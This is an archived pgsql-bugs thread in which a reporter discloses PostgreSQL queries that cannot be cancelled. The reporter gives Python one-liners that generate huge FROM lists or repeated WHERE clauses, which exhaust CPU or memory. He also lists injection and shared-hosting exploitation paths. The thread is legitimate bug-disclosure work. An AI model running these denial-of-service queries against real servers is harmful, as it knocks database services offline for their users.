public inbox for pgsql-bugs@postgresql.org
help / color / mirror / Atom feedFwd: Non-cancellable queries
4+ messages / 2 participants
[nested] [flat]
* Fwd: Non-cancellable queries
@ 2026-05-19 20:44 Anton Fedorov <datacompboy@gmail.com>
2026-05-20 10:55 ` Re: Fwd: Non-cancellable queries Andrei Lepikhov <lepihov@gmail.com>
0 siblings, 1 reply; 4+ messages in thread
From: Anton Fedorov @ 2026-05-19 20:44 UTC (permalink / raw)
To: pgsql-bugs@lists.postgresql.org
Hello!
There is an interesting issue in PostgreSQL handling "FROM" list that could
be used to trigger DoS.
The issue is here from ancient times, reproducible on the latest release as
well:
docker pull postgres:latest
docker run postgres:latest
python -c "n=200000;print('with x as (select 1) select 1 from x
x',end='');any(print(str(x),end=',x x') for x in range(n))" | psql -h
172.17.0.3 -Upostgres -A &
killall -9 psql
You can run as many queries as you want; the queries sitting server-side,
consuming CPU:
[image: image.png]
The only way to kill them is to restart the server or wait almost
indefinitely.
=======
There is also similar long query that actually works as QoD triggering oom
killer:
python -c "print('create table if not exists x(x int); SELECT FROM x',
end='');any(print(',x x',end=str(n)) for n in range(10000))" | psql
If the query references a `WITH x AS (...)` table, it fails as expected
with a stack too deep.
When the query references an existing table, it consumes an enormous amount
of memory (and time) before failing anyway.
I've added memory tracking, and roughly:
4000 => 3.6 gb
5000 => 7.9 gb
6000 => 13.2 gb
7000 => 19.2 gb
8000 => 26.4 gb
9000 => 42 gb
10000 => 60 gb
11000 => 80 gb
12000 => 102 gb
Attachments:
[image/png] image.png (93.1K, 3-image.png)
download | view image
^ permalink raw reply [nested|flat] 4+ messages in thread
* Re: Fwd: Non-cancellable queries
2026-05-19 20:44 Fwd: Non-cancellable queries Anton Fedorov <datacompboy@gmail.com>
@ 2026-05-20 10:55 ` Andrei Lepikhov <lepihov@gmail.com>
2026-05-20 20:11 ` Re: Fwd: Non-cancellable queries Anton Fedorov <datacompboy@gmail.com>
0 siblings, 1 reply; 4+ messages in thread
From: Andrei Lepikhov @ 2026-05-20 10:55 UTC (permalink / raw)
To: Anton Fedorov <datacompboy@gmail.com>; pgsql-bugs@lists.postgresql.org
On 19/05/2026 22:44, Anton Fedorov wrote:
> You can run as many queries as you want; the queries sitting server-side,
> consuming CPU:
> image.png
>
> The only way to kill them is to restart the server or wait almost indefinitely.
Yyou found the trick where the join list building routine consumes a lot of
resources.
Postgres code is aware of this situation and has a clear trade-off between
performance and signal checking. Even if we fix this specific case, there are
multiple cycles in the code that might be expanded by a tricky query. So, can
you provide more context to define the problem's importance and scope so we can
determine whether this subject is actually important and should be fixed?
--
regards, Andrei Lepikhov,
pgEdge
^ permalink raw reply [nested|flat] 4+ messages in thread
* Re: Fwd: Non-cancellable queries
2026-05-19 20:44 Fwd: Non-cancellable queries Anton Fedorov <datacompboy@gmail.com>
2026-05-20 10:55 ` Re: Fwd: Non-cancellable queries Andrei Lepikhov <lepihov@gmail.com>
@ 2026-05-20 20:11 ` Anton Fedorov <datacompboy@gmail.com>
2026-05-20 20:16 ` Re: Fwd: Non-cancellable queries Anton Fedorov <datacompboy@gmail.com>
0 siblings, 1 reply; 4+ messages in thread
From: Anton Fedorov @ 2026-05-20 20:11 UTC (permalink / raw)
To: Andrei Lepikhov <lepihov@gmail.com>; +Cc: pgsql-bugs@lists.postgresql.org
On Wed, 20 May 2026 at 12:55, Andrei Lepikhov <lepihov@gmail.com> wrote:
> > You can run as many queries as you want; the queries sitting server-side,
> > consuming CPU
>
Yyou found the trick where the join list building routine consumes a lot of
> resources.
Postgres code is aware of this situation and has a clear trade-off between
> performance and signal checking. Even if we fix this specific case, there
> are
> multiple cycles in the code that might be expanded by a tricky query. So,
> can
> you provide more context to define the problem's importance and scope so
> we can
> determine whether this subject is actually important and should be fixed?
>
This problem can surface in the following situations:
a) "growing analytics" -- imagine tables sharded by very thin key (f.e.,
separate daily tables), and one
would want to run query against large date range;
b) blind SQL injection with ultra restricted user permissions (query only)
became DoS instrument;
c) "shared hosting" of some sort -- when the single server has ability to
run queries from different users;
in this situation it would be just lack of isolation. not a problem for
the postgresql itself, it is more of a
problem for services who build service on top of postgres;
There is another similar case with one more exploitation path:
python -c "print('create table if not exists x(x
int);');n=2000000;print('select 1 from x where 1=1',end=' and x=1'*n)" |
psql -h 172.17.0.2 -Upostgres -A
the query is perfectly valid repetition of "x=1 and x=1 and ..." that also
leads to non-cancellable memory-eating query.
Can be a consequence of perfectly valid use-case:
- simple table with category as a value
- site has multiple-choice category selector, that get POSTed as a form
in some array sorts (cat[]=N&cat[]=N or just cat=N&cat=N etc)
- the ORM convert the array into query using " ".join("AND cat=%d" %
(cat,) for cat in form['cat'])
The query is safe, the values are safe, no arbitrary injection, and yet,
server DOS.
^ permalink raw reply [nested|flat] 4+ messages in thread
* Re: Fwd: Non-cancellable queries
2026-05-19 20:44 Fwd: Non-cancellable queries Anton Fedorov <datacompboy@gmail.com>
2026-05-20 10:55 ` Re: Fwd: Non-cancellable queries Andrei Lepikhov <lepihov@gmail.com>
2026-05-20 20:11 ` Re: Fwd: Non-cancellable queries Anton Fedorov <datacompboy@gmail.com>
@ 2026-05-20 20:16 ` Anton Fedorov <datacompboy@gmail.com>
0 siblings, 0 replies; 4+ messages in thread
From: Anton Fedorov @ 2026-05-20 20:16 UTC (permalink / raw)
To: Andrei Lepikhov <lepihov@gmail.com>; +Cc: pgsql-bugs@lists.postgresql.org
On Wed, 20 May 2026 at 22:11, Anton Fedorov <datacompboy@gmail.com> wrote:
>
> On Wed, 20 May 2026 at 12:55, Andrei Lepikhov <lepihov@gmail.com> wrote:
>
>>
>> Postgres code is aware of this situation and has a clear trade-off between
>> performance and signal checking. Even if we fix this specific case, there
>> are
>> multiple cycles in the code that might be expanded by a tricky query. So,
>> can
>> you provide more context to define the problem's importance and scope so
>> we can
>> determine whether this subject is actually important and should be fixed?
>
>
as extra bit here: MySQL fixed that as CVE-2026-21968
^ permalink raw reply [nested|flat] 4+ messages in thread
end of thread, other threads:[~2026-05-20 20:16 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed)
-- links below jump to the message on this page --
2026-05-19 20:44 Fwd: Non-cancellable queries Anton Fedorov <datacompboy@gmail.com>
2026-05-20 10:55 ` Andrei Lepikhov <lepihov@gmail.com>
2026-05-20 20:11 ` Anton Fedorov <datacompboy@gmail.com>
2026-05-20 20:16 ` Anton Fedorov <datacompboy@gmail.com>
This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox